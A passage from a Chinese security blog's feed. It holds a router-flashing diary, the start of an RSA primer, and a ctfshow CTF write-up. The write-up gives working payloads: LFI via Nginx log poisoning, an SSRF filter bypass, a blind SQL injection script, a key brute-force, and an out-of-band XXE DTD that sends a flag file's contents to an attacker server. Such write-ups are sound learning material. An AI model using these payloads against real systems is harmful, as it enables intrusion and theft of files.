title="参考"></a>参考</h3><ul><li><a href="https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html">一些不包含数字和字母的webshell</a></li><li><a href="https://xz.aliyun.com/t/7181">通过一道代码审计题目来练习无数字字母构造webshell</a></li><li><a href="https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html">无字母数字webshell之提高篇</a></li><li><a href="https://xz.aliyun.com/t/8107">无字母数字webshell总结</a></li></ul>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;CTF有时会碰到这种类型题，故在这里总结一下，日后有新的操作再补上&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;利用条件&lt;/strong&gt;：&lt;code&gt;eval($_GET[&amp;#39;exp&amp;#39;]);&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;限制条件&lt;/strong&gt;：&lt;code&gt;preg_match(&amp;#39;[a-z0-9]/is&amp;#39;, $exp)&lt;/code&gt;&lt;/p&gt;
    
    </summary>
    
    
      <category term="备忘录" scheme="https://www.extrader.top/categories/%E5%A4%87%E5%BF%98%E5%BD%95/"/>
    
    
      <category term="CTF题" scheme="https://www.extrader.top/tags/CTF%E9%A2%98/"/>
    
      <category term="php" scheme="https://www.extrader.top/tags/php/"/>
    
  </entry>
  
  <entry>
    <title>路由器折腾小记</title>
    <link href="https://www.extrader.top/posts/4704f692/"/>
    <id>https://www.extrader.top/posts/4704f692/</id>
    <published>2020-08-06T04:27:18.000Z</published>
    <updated>2022-03-26T06:00:39.046Z</updated>
    
    <content type="html"><![CDATA[<p>本文记录我（纯小白）这几天折腾路由器的大致过程，备忘用</p><span id="more"></span><h4 id="物色路由器"><a href="#物色路由器" class="headerlink" title="物色路由器"></a>物色路由器</h4><p>因为从来没玩过，而且家里好几年前的路由器是时候改换了，于是就准备换台，当初只是单纯的想换台路由器提升提升家里的WiFi信号的网速，都已经在jd上选好了一台水星的，但因为一直在学校迟迟没有买，后来发现了路由器的各种玩法，刷固件fq，解锁某云灰色music之类的，就开始在网上各种资料和固件，也慢慢的在物色一款路由器（原来选中的水星的那个网上资料少，官方好像不支持固件切换），一直在小米和newifi3之间徘徊，最后选择了联想的newifi3，结果无线翻车了，现在后悔了当时为什么没有看到k2p，┭┮﹏┭┮，无线信号是真的差，刷了openwrt后居然赶不上我家原来的老路由器，心态炸了。。。</p><p>但是。。。炸归炸，用还是有用的，虽然无线不咋地，当其他方面用用可以的，支持usb，512M的内存</p><h4 id="刷不死breed"><a href="#刷不死breed" class="headerlink" title="刷不死breed"></a>刷不死breed</h4><p>先下好不死breed固件，这个网上很多</p><p>然后本地搭一个web服务器，把文件放上面，然后在路由器终端了里就可以用wget下载了</p><pre class="language-bash" data-language="bash"><code class="language-bash"><span class="token function">ssh</span> root@192.168.99.1<span class="token builtin class-name">cd</span> /tmp<span class="token function">wget</span> http://xxx.xxx.xxx.xxx/newifi-d2-jail-break.koinsmod newifi-d2-jail-break.ko</code></pre><p>随后SSH 会停止响应，因为 newifi-d2-jail-break.ko 会冻结系统的其他功能，强制写入 Newifi D2 专用版 Breed 到 Flash</p><p>然后把路由器电源拔了之后按住reset按钮再插上电源直到只有电源等开始闪烁再松开电源，浏览器输入192.168.1.1即可进入breed web管理界面，再在这里面将原来的eeprom和编程器备份一下，再刷入自己想要的第三方固件（bin文件）</p><p>刷这个breed的原因是因为我们在刷第三方固件的时候如果没操作好，固件切换出了差错的话，路由器就变砖了，为了避免这种情况，就有大神做出了这个breed，相当于一个uboot引导加载程序</p><h4 id="刷第三方固件"><a href="#刷第三方固件" class="headerlink" title="刷第三方固件"></a>刷第三方固件</h4><p>这里我试了好几个，最后选择了esir大神的openwrt固件，这里可以下载： <a href="https://openwrt.club/dl">https://openwrt.club/dl</a> </p><p>选择里面的<code>openwrt-ramips-mt7621-d-team_newifi-d2-squashfs-sysupgrade.bin</code>文件刷入后等待路由器重启，重启完成后输入192.168.1.1即可进入openwrt管理界面</p><h4 id="刷openclash"><a href="#刷openclash" class="headerlink" title="刷openclash"></a>刷openclash</h4><p>下载地址 <a href="https://github.com/vernesong/OpenClash/releases">https://github.com/vernesong/OpenClash/releases</a></p><p>下好ipk文件，ssh连上路由器，执行以下命令</p><pre class="language-bash" data-language="bash"><code class="language-bash"><span class="token builtin class-name">cd</span> /tmp opkg updateopkg <span class="token function">install</span> coreutils-nohup <span class="token function">bash</span> iptables dnsmasq-full <span class="token function">curl</span> jsonfilter ca-certificates ipset ip-full iptables-mod-tproxy<span class="token function">wget</span> https://github.com/vernesong/OpenClash/releases/download/v0.39.6-beta/luci-app-openclash_0.39.6-beta_all.ipkopkg <span class="token function">install</span> luci-app-openclash_0.39.6-beta_all.ipk</code></pre><p>然后刷新一下页面就可以在服务里面看到openclash了，剩下的配置工作就要自己操作了</p><p>另外这个版本的自带解锁网易云灰色音乐的功能，直接开启就可以了</p><h4 id="自己编译openwrt"><a href="#自己编译openwrt" class="headerlink" title="自己编译openwrt"></a>自己编译openwrt</h4><p>注意：</p><ol><li><strong>不</strong>要用 <strong>root</strong> 用户来 git 和编译！！！</li><li>国内用户编译前最好准备好梯子</li><li>默认登陆IP 192.168.1.1, 密码 password</li></ol><p>需要Ubuntu 18 LTS x64环境</p><pre class="language-bash" data-language="bash"><code class="language-bash"><span class="token function">sudo</span> <span class="token function">apt-get</span> update<span class="token function">sudo</span> <span class="token function">apt-get</span> -y <span class="token function">install</span> build-essential asciidoc binutils <span class="token function">bzip2</span> <span class="token function">gawk</span> gettext <span class="token function">git</span> libncurses5-dev libz-dev patch python3.5 python2.7 <span class="token function">unzip</span> zlib1g-dev lib32gcc1 libc6-dev-i386 subversion flex uglifyjs git-core gcc-multilib p7zip p7zip-full msmtp libssl-dev texinfo libglib2.0-dev xmlto qemu-utils upx libelf-dev autoconf automake libtool autopoint device-tree-compiler g++-multilib antlr3 gperf</code></pre><p>然后下载openwrt的源代码</p><pre class="language-bash" data-language="bash"><code class="language-bash"><span class="token function">git</span> clone https://github.com/Lienol/openwrt<span class="token builtin class-name">cd</span> openwrt/package<span class="token function">git</span> clone https://github.com/kenzok8/openwrt-packages.git<span class="token builtin class-name">cd</span> <span class="token punctuation">..</span>./scripts/feeds clean./scripts/feeds update -a./scripts/feeds <span class="token function">install</span> -a<span class="token function">make</span> menuconfig</code></pre><p>然后就是配置编译选项了</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript">如果是newifi3则：Target System选择 <span class="token string">"MediaTek Ralink MIPS"</span>Subtarget选择<span class="token string">"MT7621"</span>Target Profile选择<span class="token string">"Newifi D2"</span></code></pre><p>我们希望有web界面，还需在<code>LuCI ---&gt; Collections</code>选项中选上<code>luci</code></p><p>在<code>LuCI ---&gt; Applications</code>选择要添加的插件应用。</p><p>在<code>LuCI ---&gt; Themes</code>中设置要安装的主题。</p><p><code>make -j8 download v=s</code> 下载dl库</p><p>输入 <code>make -j1 V=s</code> （<code>-j</code> 后面的数字1是线程数。第一次编译推荐用单线程）即可开始编译你要的固件了。</p><p>编译完成后输出路径：<code>openwrt/bin/targets</code></p><p>第二次编译：</p><pre class="language-bash" data-language="bash"><code class="language-bash"><span class="token builtin class-name">cd</span> lede<span class="token function">git</span> pull./scripts/feeds update -a <span class="token operator">&amp;&amp;</span> ./scripts/feeds <span class="token function">install</span> -a<span class="token function">make</span> defconfig<span class="token function">make</span> -j8 download<span class="token function">make</span> -j<span class="token variable"><span class="token variable">$((</span>$<span class="token punctuation">(</span>nproc<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token number">1</span><span class="token variable">))</span></span> <span class="token assign-left variable">V</span><span class="token operator">=</span>s</code></pre><p>如果需要重新配置：</p><pre class="language-bash" data-language="bash"><code class="language-bash"><span class="token function">rm</span> -rf ./tmp <span class="token operator">&amp;&amp;</span> <span class="token function">rm</span> -rf .config<span class="token function">make</span> menuconfig<span class="token function">make</span> -j<span class="token variable"><span class="token variable">$((</span>$<span class="token punctuation">(</span>nproc<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token number">1</span><span class="token variable">))</span></span> <span class="token assign-left variable">V</span><span class="token operator">=</span>s</code></pre><h4 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h4><ul><li><a href="https://cloud.tencent.com/developer/article/1614849">编译自己的openwrt固件 附编译好的newifi3固件</a></li><li><a href="https://mianao.info/2020/03/01/轻松编译Openwrt固件支持V2ray和Trojan-上篇">轻松编译Openwrt固件支持V2ray和Trojan-上篇</a></li><li><a href="https://mianao.info/2020/03/02/%E8%BD%BB%E6%9D%BE%E7%BC%96%E8%AF%91Openwrt%E5%9B%BA%E4%BB%B6%E6%94%AF%E6%8C%81V2ray%E5%92%8CTrojan-%E4%B8%8B%E7%AF%87">轻松编译Openwrt固件支持V2ray和Trojan-下篇</a></li><li><a href="https://mianao.info/2020/05/05/%E7%BC%96%E8%AF%91%E6%9B%B4%E6%96%B0OpenWrt-PassWall%E5%92%8CSSR-plus%E6%8F%92%E4%BB%B6">编译更新OpenWrt PassWall和SSR-plus插件</a></li><li><a href="https://github.com/kenzok8/openwrt-packages">openwrt-packages</a></li><li><a href="https://github.com/Lienol/openwrt">openwrt</a></li><li><a href="https://github.com/coolsnowwolf/lede">lede</a></li></ul>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;本文记录我（纯小白）这几天折腾路由器的大致过程，备忘用&lt;/p&gt;
    
    </summary>
    
    
      <category term="杂七杂八" scheme="https://www.extrader.top/categories/%E6%9D%82%E4%B8%83%E6%9D%82%E5%85%AB/"/>
    
    
      <category term="折腾" scheme="https://www.extrader.top/tags/%E6%8A%98%E8%85%BE/"/>
    
      <category term="路由器" scheme="https://www.extrader.top/tags/%E8%B7%AF%E7%94%B1%E5%99%A8/"/>
    
  </entry>
  
  <entry>
    <title>CTFSHOW-WEB_AK赛</title>
    <link href="https://www.extrader.top/posts/f7521cf/"/>
    <id>https://www.extrader.top/posts/f7521cf/</id>
    <published>2020-08-03T13:10:31.000Z</published>
    <updated>2022-03-26T06:36:23.671Z</updated>
    
    <content type="html"><![CDATA[<p>在菜鸡的道路上越走越远。。。淦！</p><span id="more"></span><h3 id="签到-观己"><a href="#签到-观己" class="headerlink" title="签到_观己"></a>签到_观己</h3><pre class="language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span><span class="token keyword">if</span><span class="token punctuation">(</span><span class="token keyword">isset</span><span class="token punctuation">(</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'file'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token variable">$file</span> <span class="token operator">=</span> <span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'file'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>    <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token function">preg_match</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'/php/i'</span><span class="token punctuation">,</span> <span class="token variable">$file</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>        <span class="token keyword">die</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'error'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token keyword">else</span><span class="token punctuation">&#123;</span>        <span class="token keyword">include</span><span class="token punctuation">(</span><span class="token variable">$file</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">else</span><span class="token punctuation">&#123;</span>    <span class="token function">highlight_file</span><span class="token punctuation">(</span><span class="token constant">__FILE__</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token delimiter important">?></span></span></code></pre><p><code>?file=/flag.txt</code>直接出答案。。这算个非预期解吧</p><p>另外的解法：文件包含Nginx日志文件、</p><p><code>?file=/var/log/nginx/access.log</code>可读日志文件内容，里面包含用户访问的UA信息</p><p>于是</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/CTFSHOW-WEB_AK%E8%B5%9B/image-20200803211650015.png" alt loading="lazy"></p><p>尝试命令执行</p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/CTFSHOW-WEB_AK赛/image-20200803211626102.png" alt="image-20200803211626102" loading="lazy"><p>随后<code>cat /flag.txt</code>即可</p><h3 id="Web1-观字"><a href="#Web1-观字" class="headerlink" title="Web1_观字"></a>Web1_观字</h3><p>题目给出源码</p><pre class="language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span><span class="token comment">#flag in http://192.168.7.68/flag</span><span class="token keyword">if</span><span class="token punctuation">(</span><span class="token keyword">isset</span><span class="token punctuation">(</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'url'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token variable">$url</span> <span class="token operator">=</span> <span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'url'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>    <span class="token variable">$protocol</span> <span class="token operator">=</span> <span class="token function">substr</span><span class="token punctuation">(</span><span class="token variable">$url</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span><span class="token number">7</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token variable">$protocol</span><span class="token operator">!=</span><span class="token string single-quoted-string">'http://'</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>        <span class="token keyword">die</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'仅限http协议访问'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token function">preg_match</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'/\.|\;|\||\&lt;|\>|\*|\%|\^|\(|\)|\#|\@|\!|\`|\~|\+|\'|\"|\.|\,|\?|\[|\]|\&#123;|\&#125;|\!|\&amp;|\$|0/'</span><span class="token punctuation">,</span> <span class="token variable">$url</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>        <span class="token keyword">die</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'仅限域名地址访问'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token function">system</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'curl '</span><span class="token operator">.</span><span class="token variable">$url</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span></span></code></pre><p><code>payload</code>：<code>/?url=http://192。168。7。68/flag</code></p><p>原因是curl中可以用<code>。</code>替换<code>.</code></p><p>另外，ip可以使用十进制进行访问，即<code>http://3232237380/flag</code>，但题目过滤了0</p><h3 id="Web2-观星"><a href="#Web2-观星" class="headerlink" title="Web2_观星"></a>Web2_观星</h3><p>url可以给id传值，当传入一个引号的时候回显<code>enheng?</code>，推测sql注入</p><p>FUZZ测试发现过滤了以下的内容（长度为533的）</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/CTFSHOW-WEB_AK%E8%B5%9B/image-20200801213125358.png" alt loading="lazy"></p><p>未过滤<code>^</code>，考虑布尔盲注</p><p>payload：</p><p><code>id=1^case(ord(substr((database())from(&#123;0&#125;)for(1))))when(&#123;1&#125;)then(2)else(3)end.format(i,j)</code></p><p>过滤了逗号，<code>if</code>无法使用则用<code>case...when...then...else...end</code>代替绕过，<code>substr</code>中的逗号用<code>substr(...from...for...)</code>代替绕过</p><p>接下来就可以写脚本了</p><pre class="language-python" data-language="python"><code class="language-python"><span class="token keyword">import</span> requestsurl <span class="token operator">=</span> <span class="token string">'http://dc894a39-ba77-4e9f-9201-e52d7a19ba5c.chall.ctf.show/index.php?id=1^'</span><span class="token comment"># payload = 'case(ord(substr((database())from(&#123;0&#125;)for(1))))when(&#123;1&#125;)then(2)else(3)end'   web1</span><span class="token comment"># payload = 'case(ord(substr((select(group_concat(table_name))from(information_schema.tables)where((table_schema)regexp(database())))from(&#123;0&#125;)for(1))))when(&#123;1&#125;)then(2)else(3)end'    flag,page,user</span><span class="token comment"># payload = 'case(ord(substr((select(group_concat(column_name))from(information_schema.columns)where((table_name)regexp(0x666C6167)))from(&#123;0&#125;)for(1))))when(&#123;1&#125;)then(2)else(3)end'    FLAG_COLUMN,flag</span>payload <span class="token operator">=</span> <span class="token string">'case(ord(substr((select(flag)from(flag))from(&#123;0&#125;)for(1))))when(&#123;1&#125;)then(2)else(3)end'</span>flag <span class="token operator">=</span> <span class="token string">''</span><span class="token keyword">for</span> i <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">128</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token keyword">for</span> j <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">38</span><span class="token punctuation">,</span> <span class="token number">126</span><span class="token punctuation">)</span><span class="token punctuation">:</span>        urls <span class="token operator">=</span> url<span class="token operator">+</span>payload<span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>i<span class="token punctuation">,</span> j<span class="token punctuation">)</span>        request <span class="token operator">=</span> requests<span class="token punctuation">.</span>get<span class="token punctuation">(</span>urls<span class="token punctuation">)</span>        <span class="token keyword">if</span> <span class="token string">'I asked nothing'</span> <span class="token keyword">in</span> request<span class="token punctuation">.</span>text<span class="token punctuation">:</span>            flag <span class="token operator">+=</span> <span class="token builtin">chr</span><span class="token punctuation">(</span>j<span class="token punctuation">)</span>            <span class="token keyword">print</span><span class="token punctuation">(</span>flag<span class="token punctuation">)</span>            <span class="token keyword">break</span></code></pre><h3 id="Web3-观图"><a href="#Web3-观图" class="headerlink" title="Web3_观图"></a>Web3_观图</h3><p>showImage.php可看到源码</p><pre class="language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span><span class="token comment">//$key = substr(md5('ctfshow'.rand()),3,8);</span><span class="token comment">//flag in config.php</span><span class="token keyword">include</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'config.php'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">if</span><span class="token punctuation">(</span><span class="token keyword">isset</span><span class="token punctuation">(</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'image'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token variable">$image</span><span class="token operator">=</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'image'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>    <span class="token variable">$str</span> <span class="token operator">=</span> <span class="token function">openssl_decrypt</span><span class="token punctuation">(</span><span class="token variable">$image</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">'bf-ecb'</span><span class="token punctuation">,</span> <span class="token variable">$key</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token function">file_exists</span><span class="token punctuation">(</span><span class="token variable">$str</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>        <span class="token function">header</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'content-type:image/gif'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">echo</span> <span class="token function">file_get_contents</span><span class="token punctuation">(</span><span class="token variable">$str</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">else</span><span class="token punctuation">&#123;</span>    <span class="token function">highlight_file</span><span class="token punctuation">(</span><span class="token constant">__FILE__</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token delimiter important">?></span></span></code></pre><p>图片链接为<code>/showImage.php?image=Z6Ilu83MIDw=</code></p><p>可以看到图片文件名是<code>Z6Ilu83MIDw=</code>经过<code>bf-ecb</code>算法用<code>$key</code>得到的，再看<code>$key</code>的生成方式</p><pre class="language-php" data-language="php"><code class="language-php"><span class="token function">substr</span><span class="token punctuation">(</span><span class="token function">md5</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'ctfshow'</span><span class="token operator">.</span><span class="token function">rand</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">,</span><span class="token number">3</span><span class="token punctuation">,</span><span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre><p>查询<code>rand()</code>函数，若里面的参数为空，则返回<code>0</code>到<code>getrandmax()</code>之间的伪随机整数</p><p><code>getrandmax()</code>函数返回随机数可能返回的最大值，既然有上限即可进行爆破来得出<code>key</code>值</p><p>脚本如下：</p><pre class="language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span>    <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token variable">$i</span><span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">;</span><span class="token variable">$i</span><span class="token operator">&lt;</span><span class="token function">getrandmax</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token variable">$i</span><span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>        <span class="token variable">$key</span> <span class="token operator">=</span> <span class="token function">substr</span><span class="token punctuation">(</span><span class="token function">md5</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'ctfshow'</span><span class="token operator">.</span><span class="token variable">$i</span><span class="token punctuation">)</span><span class="token punctuation">,</span><span class="token number">3</span><span class="token punctuation">,</span><span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">//5a78dbb4</span>        <span class="token variable">$image</span><span class="token operator">=</span><span class="token string double-quoted-string">"Z6Ilu83MIDw="</span><span class="token punctuation">;</span>        <span class="token variable">$str</span> <span class="token operator">=</span> <span class="token function">openssl_decrypt</span><span class="token punctuation">(</span><span class="token variable">$image</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">'bf-ecb'</span><span class="token punctuation">,</span> <span class="token variable">$key</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token function">strpos</span><span class="token punctuation">(</span><span class="token variable">$str</span><span class="token punctuation">,</span><span class="token string double-quoted-string">"gif"</span><span class="token punctuation">)</span> <span class="token keyword">or</span> <span class="token function">strpos</span><span class="token punctuation">(</span><span class="token variable">$str</span><span class="token punctuation">,</span><span class="token string double-quoted-string">"jpg"</span><span class="token punctuation">)</span> <span class="token keyword">or</span> <span class="token function">strpos</span><span class="token punctuation">(</span><span class="token variable">$str</span><span class="token punctuation">,</span><span class="token string double-quoted-string">"png"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>            <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token variable">$str</span><span class="token operator">.</span><span class="token string double-quoted-string">"\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token variable">$i</span><span class="token operator">.</span><span class="token string double-quoted-string">"\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token variable">$key</span><span class="token operator">.</span><span class="token string double-quoted-string">"\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token keyword">break</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    <span class="token variable">$flag</span> <span class="token operator">=</span> <span class="token function">openssl_encrypt</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'config.php'</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">'bf-ecb'</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">'5a78dbb4'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token variable">$flag</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span></code></pre><p>得到<code>N6bf8Bd8jm0SpmTZGl0isw==</code>，为<code>config.php</code>加密后的<code>base64</code>码，访问<code>/showImage.php?image=N6bf8Bd8jm0SpmTZGl0isw==</code>，F12打开复制代码base64解密得到<code>config.php</code>的内容，<code>flag</code>即在其中。</p><h3 id="Web4-观心"><a href="#Web4-观心" class="headerlink" title="Web4_观心"></a>Web4_观心</h3><p>抓包发现有<code>api.php</code>文件，并且带有请求<code>api</code>和<code>city</code>两个数据</p><p><code>api</code>携带的是一个网址，是一个xml文件，由此判断考的应该是XXE外部实体注入</p><p>于是构建攻击环境</p><p>在公网服务器上编写两个文件</p><p>xxe.xml</p><pre class="language-markup" data-language="markup"><code class="language-markup"><span class="token prolog">&lt;?xml version="1.0" encoding="utf-8" ?></span><span class="token doctype"><span class="token punctuation">&lt;!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">root</span><span class="token punctuation">[</span><span class="token internal-subset">&lt;!ENTITY % dtd SYSTEM "http://ip/xxe.dtd">%dtd;</span><span class="token punctuation">]</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>root</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>user</span><span class="token punctuation">></span></span>woojay<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>user</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>pass</span><span class="token punctuation">></span></span>password<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>pass</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>root</span><span class="token punctuation">></span></span></code></pre><p>xxe.dtd</p><pre class="language-dtd" data-language="dtd"><code class="language-dtd">&lt;!ENTITY % file SYSTEM &quot;php:&#x2F;&#x2F;filter&#x2F;read&#x3D;convert.base64-encode&#x2F;resource&#x3D;&#x2F;flag.txt&quot;&gt;&lt;!ENTITY % int &quot;&lt;!ENTITY &amp;#37; send SYSTEM &#39;http:&#x2F;&#x2F;xxx.xx:5000&#x2F;%file;&#39;&gt;&quot;&gt;%int;%send;</code></pre><p>随后在服务器上监听5000端口，即可得到<code>flag.txt</code>的 <code>base64</code>编码后的结果，解码既是flag</p><p>不监听端口也可以，直接发包请求，会把报错的结果返回，如下：</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/CTFSHOW-WEB_AK%E8%B5%9B/image-20200804113715125.png" alt loading="lazy"></p><p>XXE这块不是很了解，原理后面再仔细研究一下</p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;在菜鸡的道路上越走越远。。。淦！&lt;/p&gt;
    
    </summary>
    
    
      <category term="CTF" scheme="https://www.extrader.top/categories/CTF/"/>
    
    
      <category term="CTF题" scheme="https://www.extrader.top/tags/CTF%E9%A2%98/"/>
    
  </entry>
  
  <entry>
    <title>RSA算法浅析</title>
    <link href="https://www.extrader.top/posts/aa76c91b/"/>
    <id>https://www.extrader.top/posts/aa76c91b/</id>
    <published>2020-08-01T14:08:36.000Z</published>
    <updated>2022-03-26T05:48:50.999Z</updated>
    
    <content type="html"><![CDATA[<h3 id="数论知识"><a href="#数论知识" class="headerlink" title="数论知识"></a>数论知识</h3><ol><li><p><strong>互质</strong>：如果两个正整数，除了 1 以外没有其他的公因数，则他们互质。比如，14 和 15 互质。注意，两个数构成互质关系，他们不一定需要是质数，比如 7 和 9。</p></li><li><p><strong>欧拉函数</strong>：用于计算任意正整数 <code>n</code>，在 <code>&lt;=n</code> 的正整数中，与 <code>n</code> 互质的正整数个数。</p></li><li><p><strong>欧拉定理</strong>：如果两个正整数 a 和 n 互质，则如下等式成立。</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/RSA%E7%AE%97%E6%B3%95%E6%B5%85%E6%9E%90/image-20200801173237556.png" alt loading="lazy"></p></li><li><p><strong>费马小定理</strong>：欧拉函数中的一个特殊情况，如果  <code>n</code>  是质数，而 <code>a</code> 不是 <code>n</code> 的倍数，此时 <code>a</code> 和 <code>n</code> 必然互质。因为<code>n</code>的欧拉函数值 = <code>n-1</code></p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/RSA%E7%AE%97%E6%B3%95%E6%B5%85%E6%9E%90/image-20200801173548812.png" alt loading="lazy"></p></li><li><p><strong>模反元素</strong>：如果两个正整数 <code>a</code> 和 <code>n</code> 互质，那么一定可以找到一个正整数 <code>b</code>，使得 <code>ab - 1</code> 被 <code>n</code> 整除。这个时候，<code>b</code> 就叫做 <code>a</code> 的 模反元素。</p></li></ol><h3 id="关键参数"><a href="#关键参数" class="headerlink" title="关键参数"></a>关键参数</h3><p><code>(e,n)</code>：公钥</p><p><code>(d,n)</code>：私钥</p><p><code>p,q</code>：<code>n=p*q</code> ，<code>p</code>和<code>q</code>都是两个大素数</p><p><code>c</code>：密文</p><p><code>m</code>：明文</p><p><code>n,e</code>是公开的情况下，想要知道<code>d</code>的值，必须要将<code>n</code>分解计算出<code>n</code>的欧拉函数值，而<code>n</code>是两个大素数<code>p，q</code>的乘积，将其分解是困难的。</p><h3 id="生成密钥"><a href="#生成密钥" class="headerlink" 